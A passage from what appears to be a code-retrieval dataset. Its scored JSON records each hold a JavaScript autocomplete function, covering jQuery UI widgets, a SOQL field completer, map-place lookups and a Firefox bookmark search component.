}\n\n let searchTextBox = UserInterface.getSearchTextbox();\n let options = {\n lookup: autoSuggestItems,\n lookupLimit: 10,\n minChars: 1,\n delimiter: SEARCH_STRING_DELIMITER,\n maxHeight: 500,\n groupBy: \"g\",\n forceFixPosition: true,\n appendTo: UserInterface.getSearchAutoCompleteSuggestionsContainer(),\n lookupFilter: function (suggestion, query, queryLowerCase) {\n // Allow any term available\n if (suggestion.data.g === TERM_GROUP) {\n // Copy from the source\n return suggestion.value.toLowerCase().indexOf(queryLowerCase) !== -1;\n }\n\n // For titles, all terms should be in\n let searchText = UserInterface.getSearchTextbox().val().toLowerCase();\n let words = searchText.split(SEARCH_STRING_DELIMITER);\n for (let i = 0, wordsTotal = words.length; i < wordsTotal; i++) {\n let word = words[i];\n if (suggestion.value.toLowerCase().indexOf(word) === -1) {\n return false; // Doesn't contain one of the terms, so out immediately\n }\n }\n return true;\n }\n };\n searchTextBox.autocomplete(options);\n\n // Avoid re-calculation of hashtags\n return autoSuggestHashTags;\n}", "title": "" }, { "docid": "4de5eccff78cac159dd79f4070a90e0a", "score": "0.6169753", "text": "function set_autocomplete(){\n\t// Put possible answers into the autocomplete source\n\tfor(var i in current_dict){\n\t\tautocomplete_source.push(i);\n\t}\n\n\t// Create autocomplete\n\t$(\"#txtAnswer\").autocomplete({\n\t\tsource:autocomplete_source,\t// source = possible words in language lang_to \n\t\tselect:function(event, ui){\t// on select, check if the user's response is correct\n\t\t\tvar question = $(\"#lblTranslateMe\").html();\n\t\t\t$(\"#txtAnswer\").text(\"\");\n\t\t\tvar user_answer = ui.item.value;\n\t\t\tvar correct_answer = selected_word;\n\t\t\tvalidate(question, user_answer, correct_answer);\n\t\t\tevent.preventDefault();\n\t\t},\n\t\tminLength:3\t\t\t\t\t// require at least 3 characters before showing suggestions\n\t});\n\n\t// If the user presses \"enter\" we want to submit the answer\n\t$('#txtAnswer').keypress(function (e) {\n\t\tif (e.which == 13) {\n\t\t\t$(\"#btnAnswer\").click();\n\t\t\t$(\"#txtAnswer\").autocomplete(\"close\");\n\t\t}\n\t});\n}", "title": "" }, { "docid": "a0aabc2c8856f69d7c29cf9fc9c6a4e7", "score": "0.616023", "text": "function tbHead_Search(event, ui) {\n var station = $('#ddlStation').val();\n if (!station) {\n alert('Please select station first');\n return false;\n }\n $(this).autocompleteEx('option', 'parameters', { station: station ,term: $(this).val()});\n return true;\n}", "title": "" }, { "docid": "0802a457484e4b5175f9c7f6a52734b7", "score": "0.6159706", "text": "function queryAutocompleteHandler() {\r\n var query = queryInput.value;\r\n var selStart = queryInput.selectionStart;\r\n var selEnd = queryInput.selectionEnd;\r\n\r\n var autocompleteResults = document.querySelector(\"#autocomplete-results\");\r\n autocompleteResults.textContent = \"\\u00A0\";\r\n function makeLink(value, title) {\r\n var res = document.createElement(\"a\");\r\n res.textContent = value;\r\n res.title = title;\r\n res.href = \"about:blank\"; // The normal trick of using \"#\" to make the link activateable does not seem to work in an about:blank page in Firefox\r\n res.addEventListener('click', function(e) {\r\n e.preventDefault();\r\n var newValue = e.target.textContent;\r\n queryInput.focus();\r\n queryInput.setRangeText(newValue, selStart, selEnd, \"end\");\r\n queryAutocompleteHandler();\r\n });\r\n autocompleteResults.appendChild(res);\r\n }\r\n\r\n // Find out what sobject we are querying, by using the word after the \"from\" keyword.\r\n // Assuming no subqueries, we should find the correct sobjectName. There should be only one \"from\" keyword, and strings (which may contain the word \"from\") are only allowed after the real \"from\" keyword.\r\n var sobjectName = (/(^|\\s)from\\s*([a-zA-Z0-9_]*)/.exec(query) || [\"\", \"\", \"\"])[2];\r\n var sobjectDescribe = sobjectDescribes[sobjectName.toLowerCase()];\r\n maybeGetFields(sobjectDescribe);\r\n\r\n // Find the token we want to autocomplete. This is the selected text, or the last word before the cursor.\r\n var searchTerm = (selStart != selEnd\r\n ? query.substring(selStart, selEnd)\r\n : query.substring(0, selStart).match(/[a-zA-Z0-9_]*$/)[0]).toLowerCase();\r\n selStart = selEnd - searchTerm.length;\r\n\r\n // If we are just after the \"from\" keyword, autocomplete the sobject name\r\n if (query.substring(0, selStart).match(/(^|\\s)from\\s*$/)) {\r\n autocompleteResults.textContent = \"Objects:\";\r\n for (var sName in sobjectDescribes) {\r\n var sobjectDescribe = sobjectDescribes[sName];\r\n if (sobjectDescribe.name.toLowerCase().indexOf(searchTerm) > -1 || sobjectDescribe.label.toLowerCase().indexOf(searchTerm) > -1) {\r\n makeLink(sobjectDescribe.name, sobjectDescribe.label);\r\n }\r\n }\r\n return;\r\n }\r\n\r\n if (sobjectDescribe && sobjectDescribe.fields) {\r\n\r\n /*\r\n * The context of a field is used to support queries on relationship fields.\r\n *\r\n * For example: If the cursor is at the end of the query \"select Id from Contact where Account.Owner.Usern\"\r\n * then the the searchTerm we want to autocomplete is \"Usern\", the contextPath is \"Account.Owner.\" and the sobjectName is \"Contact\"\r\n *\r\n * When autocompleting picklist values in the query \"select Id from Contact where Account.Type = 'Cus\"\r\n * then the searchTerm we want to autocomplete is \"Cus\", the fieldName is \"Type\", the contextPath is \"Account.\" and the sobjectName is \"Contact\"\r\n */\r\n\r\n var contextEnd = selStart;\r\n\r\n // If we are within a string, autocomplete picklist values\r\n var isInString = query.substring(0, selStart).match(/\\s*[<>=!]+\\s*'([^' ]*)$/);\r\n var fieldName = null;\r\n if (isInString) {\r\n var fieldEnd = selStart - isInString[0].length;\r\n fieldName = query.substring(0, fieldEnd).match(/[a-zA-Z0-9_]*$/)[0].toLowerCase();\r\n contextEnd = fieldEnd - fieldName.length;\r\n selStart -= isInString[1].length;\r\n }\r\n\r\n /*\r\n contextSobjectDescribes is a set of describe results for the relevant context sobjects.\r\n Example: \"select Subject, Who.Name from Task\"\r\n The context sobjects for \"Subject\" is {\"Task\"}.\r\n The context sobjects for \"Who\" is {\"Task\"}.\r\n The context sobjects for \"Name\" is {\"Contact\", \"Lead\"}.\r\n */\r\n var contextSobjectDescribes = [sobjectDescribe];\r\n var contextPath = query.substring(0, contextEnd).match(/[a-zA-Z0-9_\\.]*$/)[0].toLowerCase();\r\n if (contextPath) {\r\n var contextFields = contextPath.split(\".\");\r\n contextFields.pop(); // always empty\r\n contextFields.forEach(function(referenceFieldName) {\r\n var newContextSobjectDescribes = new Set();\r\n contextSobjectDescribes.forEach(function(sobjectDescribe) {\r\n sobjectDescribe.fields\r\n .filter(function(field) { return field.relationshipName && field.relationshipName.toLowerCase() == referenceFieldName; })\r\n .forEach(function(field) {\r\n field.referenceTo.forEach(function(referencedSobjectName) {\r\n var referencedSobjectDescribe = sobjectDescribes[referencedSobjectName.toLowerCase()];\r\n maybeGetFields(referencedSobjectDescribe);\r\n if (referencedSobjectDescribe && referencedSobjectDescribe.fields) {\r\n newContextSobjectDescribes.add(referencedSobjectDescribe);\r\n }\r\n });\r\n });\r\n });\r\n contextSobjectDescribes = [];\r\n newContextSobjectDescribes.forEach(function(d) { contextSobjectDescribes.push(d); });\r\n });\r\n }\r\n\r\n if (contextSobjectDescribes.length > 0) {\r\n if (isInString) {\r\n // Autocomplete picklist values\r\n var fieldNames = contextSobjectDescribes\r\n .map(function(sobjectDescribe) {\r\n return sobjectDescribe.fields\r\n .filter(function(field) { return field.name.toLowerCase() == fieldName; })\r\n .map(function(field) { return sobjectDescribe.name + \".\" + field.name; })\r\n .join(\", \");\r\n })\r\n .join(\", \");\r\n autocompleteResults.textContent = (fieldNames || \"Field\") + \" values:\";\r\n contextSobjectDescribes.forEach(function(sobjectDescribe) {\r\n sobjectDescribe.fields\r\n .filter(function(field) { return field.name.toLowerCase() == fieldName; })\r\n .forEach(function(field) {\r\n field.picklistValues\r\n .filter(function(pickVal) { return pickVal.value.toLowerCase().indexOf(searchTerm) > -1 || pickVal.label.toLowerCase().indexOf(searchTerm) > -1; })\r\n .forEach(function(pickVal) {\r\n makeLink(pickVal.value, pickVal.label);\r\n });\r\n });\r\n });\r\n } else {\r\n // Autocomplete field names\r\n autocompleteResults.textContent = contextSobjectDescribes.map(function(sobjectDescribe) { return sobjectDescribe.name; }).join(\", \") + \" fields:\";\r\n contextSobjectDescribes.forEach(function(sobjectDescribe) {\r\n sobjectDescribe.fields\r\n .filter(function(field) { return field.name.toLowerCase().indexOf(searchTerm) > -1 || field.label.toLowerCase().indexOf(searchTerm) > -1; })\r\n .forEach(function(field) {\r\n makeLink(field.name, field.label);\r\n if (field.type == \"reference\") {\r\n makeLink(field.relationshipName + \".\", field.label);\r\n }\r\n });\r\n });\r\n }\r\n }\r\n }\r\n }", "title": "" }, { "docid": "a3f8f90341296ca3716c72225978b504", "score": "0.61571366", "text": "function autocomplete(inp, arr) {\n var currentFocus;\n inp.addEventListener(\"input\", function(e) {\n var a, b, i, val = this.value;\n closeAllLists();\n if (!val) { return false;}\n currentFocus = -1;\n a = document.createElement(\"DIV\");\n a.setAttribute(\"id\", this.id + \"autocomplete-list\");\n a.setAttribute(\"class\", \"autocomplete-items\");\n this.parentNode.appendChild(a);\n for (i = 0; i < arr.length; i++) {\n if (arr[i].substr(0, val.length).toUpperCase() == val.toUpperCase()) {\n b = document.createElement(\"DIV\");\n b.innerHTML = arr[i].substr(0, val.length);\n b.innerHTML += arr[i].substr(val.length);\n b.innerHTML += \"<input type='hidden' value='\" + arr[i] + \"'>\";\n b.addEventListener(\"click\", function(e) {\n inp.value = this.getElementsByTagName(\"input\")[0].value;\n closeAllLists();\n });\n a.appendChild(b);\n }\n }\n });\n \n\n function closeAllLists(elmnt) {\n var x = document.getElementsByClassName(\"autocomplete-items\");\n for (var i = 0; i < x.length; i++) {\n if (elmnt != x[i] && elmnt != inp) {\n x[i].parentNode.removeChild(x[i]);\n }\n }\n }\n document.addEventListener(\"click\", function (e) {\n closeAllLists(e.target);\n });\n }", "title": "" }, { "docid": "edbcca579dda4f3774211535b86235e0", "score": "0.61559993", "text": "function autocomplete() {\n var valueRaw = input.value;\n if (valueRaw) {\n var value = valueRaw[0].toUpperCase() + valueRaw.substring(1);\n }\n if (!valueRaw) {\n r0.style.display = \"none\";\n }\n var matchingCountries = [];\n var firstFourCountires = [];\n for (var i=0; i < countries.length; i++) {\n if (countries[i].startsWith(value)) {\n matchingCountries.push(countries[i]);\n }\n }\n firstFourCountires = matchingCountries.slice(0, 4);\n showResults(firstFourCountires);\n return firstFourCountires;\n}", "title": "" }, { "docid": "878e71ba26eccc4f1257b3a6446c1c60", "score": "0.615326", "text": "function activatePlacesSearch(){\r\n var input = document.getElementById(\"rloc\");\r\n var autocomplete = new google.maps.places.Autocomplete(input);\r\n\r\n }", "title": "" }, { "docid": "7b77369dd0c6120f66e82db9aafc34a7", "score": "0.613748", "text": "function autocomplete(inp, arr, extraShowingFn, extraHidingFn, matchType) {\n var currentFocus;\n /*execute a function when someone writes in the text field:*/\n inp.addEventListener(\"input\", function(e) {\n\t\textraHidingFn();\n\t\tvar val = this.value;\n\t\tvar a,b;\n\t\t/*close any already open lists of autocompleted values*/\n\t\tcloseAllLists();\n\t\tif (!val) { return false;}\n\t\tcurrentFocus = -1;\n\t\t/*create a DIV element that will contain the items (values):*/\n\t\ta = document.createElement(\"DIV\");\n\t\ta.setAttribute(\"id\", this.id + \"autocomplete-list\");\n\t\ta.setAttribute(\"class\", \"autocomplete-items\");\n\n\t\t/*append the DIV element as a child of the autocomplete container:*/\n\t\tthis.parentNode.appendChild(a);\n\t\t/*for each item in the array...*/\n\t\tfor (let name = 0; name < arr.length; name++) {\n\t\t\tlet match = false;\n\t\t\tif(matchType == 'prefix'){\n\t\t\t\tmatch = arr[name].substr(0, val.length).toUpperCase() == val.toUpperCase();\n\t\t\t}\n\t\t\tif(matchType == 'anywhere'){\n\t\t\t\tmatch = arr[name].toUpperCase().indexOf(val.toUpperCase()) != -1;\n\t\t\t}\n\n\t\t\tif (match) {\n\t\t\t\t/*create a DIV element for each matching element:*/\n\t\t\t\tb = document.createElement(\"DIV\");\n\t\t\t\tb.id = \"list_\"+spaceNameToUnderscores(arr[name]);\n\t\t\t\tif(matchType == \"prefix\"){\n\t\t\t\t\tb.innerHTML = \"<strong>\" + arr[name].substr(0, val.length) + \"</strong>\";\n\t\t\t\t\tb.innerHTML += arr[name].substr(val.length);\n\t\t\t\t}\n\t\t\t\tif(matchType == \"anywhere\"){\n\t\t\t\t\tmatchIdx = arr[name].toUpperCase().indexOf(val.toUpperCase());\n\t\t\t\t\tb.innerHTML = arr[name].substr(0, matchIdx);\n\t\t\t\t\tb.innerHTML += \"<strong>\" + arr[name].substr(matchIdx, matchIdx+val.length) + \"</strong>\";\n\t\t\t\t\tb.innerHTML += arr[name].substr(matchIdx+val.length);\n\t\t\t\t}\n\n\t\t\t\t/*insert a input field that will hold the current array item's value:*/\n\t\t\t\tb.innerHTML += \"<input type='hidden' value='\" + arr[name] + \"'>\";\n\t\t\t\t/*execute a function when someone clicks on the item value (DIV element):*/\n\t\t\t\tb.addEventListener(\"click\", function(e) {\n\t\t\t\t\t/*insert the value for the autocomplete text field:*/\n\t\t\t\t\tinp.value = this.getElementsByTagName(\"input\")[0].value;\n\t\t\t\t\t/*close the list of autocompleted values, (or any other open lists of autocompleted values:*/\n\t\t\t\t\textraHidingFn();\n\t\t\t\t\tcloseAllLists();\n\t\t\t\t\textraShowingFn(inp.value);\n\t\t\t\t});\n\t\t\t\ta.appendChild(b);\n\t\t\t\textraShowingFn(arr[name]);\n\t\t\t}\n\t\t}\n });\n /*execute a function presses a key on the keyboard:*/\n inp.addEventListener(\"keydown\", function(e) {\n var x = document.getElementById(this.id + \"autocomplete-list\");\n if (x) x = x.getElementsByTagName(\"div\");\n if (e.keyCode == 40) {\n /*If the arrow DOWN key is pressed,\n increase the currentFocus variable:*/\n currentFocus++;\n /*and and make the current item more visible:*/\n addActive(x);\n } else if (e.keyCode == 38) { //up\n /*If the arrow UP key is pressed,\n decrease the currentFocus variable:*/\n currentFocus--;\n /*and and make the current item more visible:*/\n addActive(x);\n } else if (e.keyCode == 13) {\n /*If the ENTER key is pressed, prevent the form from being submitted,*/\n e.preventDefault();\n if (currentFocus > -1) {\n /*and simulate a click on the \"active\" item:*/\n if (x) x[currentFocus].click();\n }\n }\n });\n function addActive(x) {\n /*a function to classify an item as \"active\":*/\n if (!x) return false;\n /*start by removing the \"active\" class on all items:*/\n removeActive(x);\n if (currentFocus >= x.length) currentFocus = 0;\n if (currentFocus < 0) currentFocus = (x.length - 1);\n /*add class \"autocomplete-active\":*/\n x[currentFocus].classList.add(\"autocomplete-active\");\n }\n function removeActive(x) {\n /*a function to remove the \"active\" class from all autocomplete items:*/\n for (var i = 0; i < x.length; i++) {\n x[i].classList.remove(\"autocomplete-active\");\n }\n }\n function closeAllLists() {\n\t\tvar x = document.getElementsByClassName(\"autocomplete-items\");\n\t\tfor (var i = 0; i < x.length; i++){ \n\t\t\tx[i].parentNode.removeChild(x[i]);\n\t\t}\n }\n /*execute a function when someone clicks in the document:*/\n document.addEventListener(\"click\", function (e) {\n\t\t\tcloseAllLists();\n });\n}", "title": "" }, { "docid": "205386e7244a7de77d07932752dcca0b", "score": "0.61271554", "text": "function acSearch(selector, ...theArgs) { \n var codeString = \"jQuery('\" + selector + \"').autocomplete({\";\n theArgs.map(function (arg) {\n codeString += arg;\n });\n codeString += \"})\";\n return codeString;\n}", "title": "" }, { "docid": "6a7fa4282999cc0f5d3f5aa0ff1aa51f", "score": "0.612043", "text": "function autocomplete_opts(auth_path) {\n var autocomplete_opts = {\n minLength: 2,\n source: function( request, response ) {\n $.getJSON( auth_path, {\n q: request.term\n }, response );\n },\n focus: function() {\n // prevent value inserted on focus\n return false;\n },\n complete: function(event) {\n $('.ui-autocomplete-loading').removeClass(\"ui-autocomplete-loading\");\n }\n };\n return autocomplete_opts;\n }", "title": "" }, { "docid": "31a5ca7fd734330862eb05c1b967191f", "score": "0.6113872", "text": "function autocompleter(element, onSelect) {\n var AUTOCOMPLETION_URL = 'https://autocomplete.geocoder.api.here.com/6.2/suggest.json';\n var APPLICATION_ID = app_id;\n var APPLICATION_CODE = app_code;\n var MIN_QUERY_LENGTH = 2;\n var MAX_RESULTS = 5;\n\n $(element).autocompleteHighlight({\n source: function(request, response) {\n $.ajax({\n url: AUTOCOMPLETION_URL,\n dataType: \"json\",\n data: {\n maxresults: MAX_RESULTS,\n query: request.term,\n beginHighlight: '<mark>',\n endHighlight: '</mark>',\n app_id: APPLICATION_ID,\n app_code: APPLICATION_CODE\n },\n\n success: function(data) {\n response($.map(data.suggestions, function(item) {\n value = item.label.replace(/(<mark>|<\\/mark>)/gm, '');\n name = item.label;\n return {\n label: name,\n value: value,\n }\n }));\n }\n }); //ajax\n }, // source\n minLength: MIN_QUERY_LENGTH,\n select: onSelect\n });\n}", "title": "" }, { "docid": "9c6bac62809a971395b5357039f71ed1", "score": "0.6112655", "text": "function autocompleteUsername( $input, names )\n {\n var value = $input.val();\n var candidates = [];\n var i;\n\n // ensure we have text, no text is selected, and cursor is at end of text\n if ( value.length > 0 && $input[0].selectionStart == $input[0].selectionEnd && $input[0].selectionStart == value.length)\n {\n // filter names to find only strings that start with existing value\n for ( i = 0; i < names.length; i++)\n {\n if ( names[ i ].toLowerCase().indexOf( value.toLowerCase() ) == 0 && names[ i ].length >= value.length )\n {\n candidates.push( names[ i ] );\n }\n }\n if ( candidates.length > 0 )\n {\n // some candidates for autocompletion are found\n if ( candidates.length == 1 )\n {\n $input.val( candidates[0] + ': ' );\n }\n else\n {\n $input.val( longestInCommon( candidates, value.length ) );\n }\n return true;\n }\n }\n return false;\n }", "title": "" }, { "docid": "7bc08d6518d725c3431da5fff20d70ec", "score": "0.6100387", "text": "function getAutoCompleteTags(event) {\n // Get query URL for suggestions based upon given string\n var query = \"http://suggestqueries.google.com/complete/search?client=chrome&q=\" + document.getElementById(\"tags\").value;\n\n // Initialize blob to get response\n var blob = null;\n\n // Initialize XML request and set its fields\n var xhr = new XMLHttpRequest();\n xhr.open(\"GET\", query);\n xhr.responseType = \"blob\";\n\n // Define behavior of request upon loading data\n xhr.onload = function() {\n // Get response\n blob = xhr.response;\n\n // Initialize file reader to process response\n var myReader = new FileReader();\n\n // Define behavior once reader has been loaded\n myReader.addEventListener(\"loadend\", function(e) {\n // Get string from reader\n var str = e.srcElement.result;\n\n // Process text response up to first '['\n var i = 1;\n var currChar = str[i];\n while (currChar != '[') {\n currChar = str[i++];\n }\n\n // Get next char after '['\n currChar = str[i++];\n\n // Create list for all autocomplete tags\n var taglist = [];\n\n // Create string to contain current tag\n var currTagString = \"\";\n\n // Add to current tag until ']' is read or 5 tags are found\n while (currChar != ']' && taglist.length < 5) {\n // Check for '\"'\n if (currChar == '\\\"') {\n // Check if there is another tag\n if(str[i] == ',') {\n taglist.push(currTagString);\n i++;\n currChar = str[i];\n currTagString = \"\";\n }\n // Advance to the next character\n else {\n currChar = str[i++];\n }\n }\n // Add char into tag string otherwise\n else {\n currTagString = currTagString + currChar;\n currChar = str[i++];\n }\n }\n\n // Set processed tags as autocomplete tags\n $(\"#tags\").autocomplete({\n source: taglist\n });\n\n // Get automatically created autocomplete widget and color it white\n var autoCompleteList = document.getElementById(\"ui-id-1\");\n autoCompleteList.style.backgroundColor = \"white\";\n autoCompleteList.style.zIndex = 3;\n });\n myReader.readAsText(blob);\n }\n xhr.send();\n}", "title": "" }, { "docid": "fe721ba23e5a26999a2a11011566d01e", "score": "0.6094347", "text": "function autocomplete(input, dictionary){\n var regExp;\n\n regExp = new RegExp('^' + input.replace(/[^a-z]/gi,''), 'i');\n return dictionary.filter(function(word){\n return regExp.test(word);\n }).slice(0, 5);\n}", "title": "" }, { "docid": "847bb884206f0ef37c8dcfb34513ed0c", "score": "0.60932446", "text": "function gnAutocomplete(){\n\tvar rdfService, mDS, containerUtils;\n\tvar timeout = false,inited = false,initedHistory = false;\n\tvar searchStr, prefix, catonly;\n\tvar historySearch;\n\tvar lastVisitDatePred,lastModDatePred,addDatePred,namePredicate,urlPredicate;\n\tvar resultPrototype = {\n\t\t\t\tar: new Array(),\n\t\t\t\tdefaultIndex: 0,\n\t\t\t\terrorDescription: null,\n\t\t\t\tstyles: null,\n\t\t\t\tprefix: null,\n\t\t\t\tgetCommentAt: function(index){\n\t\t\t\t\treturn (index < this.ar.length)?this.ar[index][1]:'';\n\t\t\t\t},\n\t\t\t\tgetStyleAt: function(index){\n\t\t\t\t\treturn this.styles;\n\t\t\t\t},\n\t\t\t\tgetValueAt: function(index){\n\t\t\t\t\treturn (index < this.ar.length)?this.prefix+this.ar[index][0]:'';\n\t\t\t\t},\n\t\t\t\tremoveValueAt: function(rowIndex,isRemoveFromDb){},\n\t\t\t\tsetPrefix: function(s){\n\t\t\t\t\tthis.prefix = s;\n\t\t\t\t}\n\t\t};\n this.QueryInterface = function (iid) {\n if (!iid.equals(Components.interfaces.nsISupports)\n \t&& !iid.equals(Components.interfaces.nsIAutoCompleteSearch)\n \t&& !iid.equals(Components.interfaces.nsIObserver)\n \t&& !iid.equals(Components.interfaces.nsIAutoCompleteObserver)\n \t){\n throw Components.results.NS_ERROR_NO_INTERFACE;\n }\n return this;\n }\n //forwards requests for history search\n this.onSearchResult = function(search,result){\n \tlistener.onSearchResult(this,result);\t\n }\n //does basic initialization of services \n //(we don't do this during the construction phase, so that memory is not wasted if no searches are performed)\n this.initService = function(){\n \t//nsIRunnable runnable , PRUint32 stackSize , PRThreadPriority priority , PRThreadScope scope , PRThreadState state \n \trdfService = Components.classes[\"@mozilla.org/rdf/rdf-service;1\"]\n\t\t\t.getService(Components.interfaces.nsIRDFService);\n\t\tmDS = Components.classes[\"@mozilla.org/rdf/datasource;1?name=composite-datasource\"]\n\t\t\t.getService(Components.interfaces.nsIRDFCompositeDataSource);\n\t\tmDS.AddDataSource(rdfService.GetDataSourceBlocking('rdf:bookmarks'));\n\t\tmDS.AddDataSource(rdfService.GetDataSourceBlocking('rdf:localsearch'));\n\t\tcontainerUtils = Components.classes[\"@mozilla.org/rdf/container-utils;1\"].\n getService(Components.interfaces.nsIRDFContainerUtils);\n\t\turlPredicate = rdfService\n\t\t\t.GetResource(\"http://home.netscape.com/NC-rdf#URL\");\n\t\tnamePredicate = rdfService\n\t\t\t.GetResource(\"http://home.netscape.com/NC-rdf#Name\");\n\t\tlastVisitDatePred = rdfService\n\t\t\t.GetResource(\"http://home.netscape.com/WEB-rdf#LastVisitDate\");\n\t\tlastModDatePred = rdfService\n\t\t\t.GetResource(\"http://home.netscape.com/WEB-rdf#LastModifiedDate\");\n\t\taddDatePred = rdfService\n\t\t\t.GetResource(\"http://home.netscape.com/NC-rdf#BookmarkAddDate\");\n\t\ttimeout = Components.classes['@mozilla.org/timer;1']\n\t\t\t.createInstance(Components.interfaces.nsITimer);\n\t\tinited = true;\n }\n function removeDuplicates(ar){\n \tvar newAr = {};\n \tfor(var i=0;i<ar.length;i++){\n \t\tvar cmp = ar[i].toLowerCase();\n \t\tif (!newAr[cmp]){\n \t\t\tnewAr[cmp] = 1;\n \t\t}else{\n \t\t\tar.splice(i,1);\n \t\t\t--i;\n \t\t}\n \t}\n \treturn ar;\n }\n function executeSearchOn(result,refString,duplicates,match1,match2){\n \tvar res = rdfService.GetResource(refString);\n \tpred = rdfService.GetResource('http://home.netscape.com/NC-rdf#child');\n\t\tvar targetsEnumerator = mDS.GetTargets(res, pred, true);\n\t\twhile(targetsEnumerator.hasMoreElements()){\n\t\t\tvar target = targetsEnumerator.getNext();\t//bookmark resource\n\t\t\t//get name, url, last visit date\n\t\t\tvar linkName = mDS.GetTarget(target,namePredicate, true)\n\t\t\t\t.QueryInterface(Components.interfaces.nsIRDFLiteral).Value;\n\t\t\tvar linkUrl = mDS.GetTarget(target,urlPredicate, true)\n\t\t\t\t.QueryInterface(Components.interfaces.nsIRDFLiteral).Value;\n\t\t\t//don't store duplicate values\n\t\t\tif (!duplicates[linkUrl]){\n\t\t\t\tvar relavance = 0;\n\t\t\t\tif (match1 != null){\n\t\t\t\t\tvar testStr = linkName;\n\t\t\t\t\tvar m = testStr.match(match1);\n\t\t\t\t\tif (m != null){\n\t\t\t\t\t\tm = removeDuplicates(m);\n\t\t\t\t\t\trelavance = m.length;\n\t\t\t\t\t\t//remove the words that we've just found\n\t\t\t\t\t\ttestStr = testStr.replace(match1,'');\n\t\t\t\t\t}\n\t\t\t\t\t//for non-boundary words give a lesser value for each match\n\t\t\t\t\tvar m = testStr.match(match2);\n\t\t\t\t\tif (m != null)\n\t\t\t\t\t\trelavance += m.length*0.5;\n\t\t\t\t}\n\t\t\t\tresult.ar.push(new Array(linkUrl,linkName,relavance));\n\t\t\t\tduplicates[linkUrl] = 1;\n\t\t\t}\n\t\t}\n }\n //stores the last valid resource for a path (i.e. for /category1/category2/dfgfd. it will be a resource for cat2)\n\tvar lastFullPath = {};\n\tlastFullPath.path = null;\t// starts and ends with / (i.e. /cat1/cat2/cat3/)\n\tlastFullPath.res = null;\n\t//returns the resource for most recent category (i.e. in /cat1/cat2/some word it will be a resource for cat2)\n\t//it also does some caching by keeping previous resource and path\n function findParentResource(strPath){\n \tvar res = rdfService.GetResource('NC:BookmarksRoot');\n \tvar coveredPath = '/';\n \tvar l;\n \t//find a most recent valid parent resource\n \tif ((l = strPath.lastIndexOf('/')) != 0 \n \t\t\t&& (lastFullPath.res != null)){\n \t\t//loop backward through path to find out the last valid point we can use\n \t\t//so that when for example we already had a root for /category1/cat2/ and the user typed /category1/cat\n \t\t//we can use the root /category1 and not backtrack all the way to the root\n \t\t//which would be expensive since we find children folder using simple enumeration\n \t\tpath = lastFullPath.path.toLowerCase().replace(new RegExp('[ ]*/[ ]*','g'),'/').replace(/[ ]{2,}/,' ');\n \t\twhile(path != '/'){\n \t\t\tif (strPath.indexOf(path) == 0)break;\n \t\t\t//remove the last category\n \t\t\tpath = path.substr(0,path.length-1);\n \t\t\tpath = path.substr(0,path.lastIndexOf('/')+1);\n \t\t\t//if we are at the NC:BookmarksRoot anyway, then break\n \t\t\tif (path.length == 1){\n \t\t\t\tlastFullPath.res = res;\n \t\t\t\tbreak;\n \t\t\t}\n \t\t\t//step up one level with a resource\n \t\t\tvar predEnum = mDS.ArcLabelsIn(lastFullPath.res);\n \t\t\t//it should be just one element\n \t\t\tif (!predEnum.hasMoreElements()){\n \t\t\t\t//if unable to find the predicate for some reason\n \t\t\t\tlastFullPath.res = res;\n \t\t\t\tpath = '/';\n \t\t\t\tbreak;\n \t\t\t}\n \t\t\tvar pred = predEnum.getNext();\n \t\t\tlastFullPath.res = mDS.GetSource(pred,lastFullPath.res,true)\n \t\t\t\t.QueryInterface(Components.interfaces.nsIRDFResource);\t//parent subject\n \t\t}\n \t\tres = lastFullPath.res;\n \t\tvar length = path.replace(new RegExp('^/'),'').replace(new RegExp('/$'),'').split('/').length;\n \t\tvar pathAr = lastFullPath.path.replace(new RegExp('^/'),'').replace(new RegExp('/$'),'').split('/');\n \t\twhile(pathAr.length != length){pathAr.pop()}\n \t\tcoveredPath = ('/'+pathAr.join('/')+'/').replace(new RegExp('/{2,}','g'),'/');\n \t}\n \tlastFullPath.path = coveredPath;\n \t//we need this sicne lastFullPath will be updated with the path the user types in not the actual path\n \tvar actPath = {\n \t\tres: null,\n \t\tpath: coveredPath\n \t}\n \t//strip / from start and end\n \tvar covered = coveredPath.substr(1,((coveredPath.length>1)?coveredPath.length:2)-2);\n \tvar toCover = strPath.substr(1,(l?l:1)-1);\n \tcovered = (covered != '')?covered.split('/').length:0;\n \ttoCover = (toCover != '')?toCover.split('/'):[];\n \tvar catLevel;\n \t//find the actual resource\n \tfor (catLevel = covered;catLevel<toCover.length;catLevel++){\n \t\tvar predEnum = mDS.ArcLabelsOut(res);\n \t\tvar found = false;\n \t\twhile(predEnum.hasMoreElements()){\n \t\t\tvar pred = predEnum.getNext();\n \t\t\tvar target = mDS.GetTarget(res,pred,true);\n \t\t\t//it must be a resource to be a folder\n \t\t\tif (!(target instanceof Components.interfaces.nsIRDFResource))continue;\n \t\t\ttarget.QueryInterface(Components.interfaces.nsIRDFResource);\n \t\t\t//if it's not a folder continue\n \t\t\tif (!containerUtils.IsContainer(mDS,target))continue;\n \t\t\t//get it's name\n \t\t\tvar val = mDS.GetTarget(target,namePredicate,true)\n \t\t\t\t.QueryInterface(Components.interfaces.nsIRDFLiteral);\n \t\t\tvar v = val.Value;\n \t\t\t//compare where it matches\n \t\t\tif (v.trim().toLowerCase().replace(/[ ]{2,}/,' ') \n \t\t\t\t\t== toCover[catLevel] && res.Value != target.Value){\n \t\t\t\tlastFullPath.path += v+'/';\n \t\t\t\tres = target;\n \t\t\t\tfound = true;\n \t\t\t\tbreak;\n \t\t\t}\n \t\t}\n \t\t//if we were unable to find a resource on this level, then it's an invalid entry\n \t\tif (!found && (catLevel<toCover.length)){\n \t\t\tres = null;\n \t\t\tbreak;\n \t\t}\n \t}\n \tlastFullPath.res = res;\n \treturn lastFullPath;\n }\n /*iterates through children and descends in them based on how many results have been printed*/\n function iterateThroughResource(res,result,lastWord,additionalLevels,additionalPrefix){\n \tif (!additionalLevels)additionalLevels = 0;\n \tif (!additionalPrefix)additionalPrefix = '';\n \tif (additionalLevels >= 4)return;\n \tvar predEnum = mDS.ArcLabelsOut(res);\n \t\n \tvar count = 0;\n \tvar children = [];\n \twhile(predEnum.hasMoreElements()){\n\t \tvar pred = predEnum.getNext();\n\t \tvar child = mDS.GetTarget(res,pred,true);\n\t \tif (!(child instanceof Components.interfaces.nsIRDFResource)\n\t \t\t\t|| child.Value == res.Value)continue;\n\t \t\n\t \tchild.QueryInterface(Components.interfaces.nsIRDFResource);\n\t \t//if it's a link\n\t \tvar url = null;\n\t \tif ((url = mDS.GetTarget(child,urlPredicate,true)) != null)\n\t 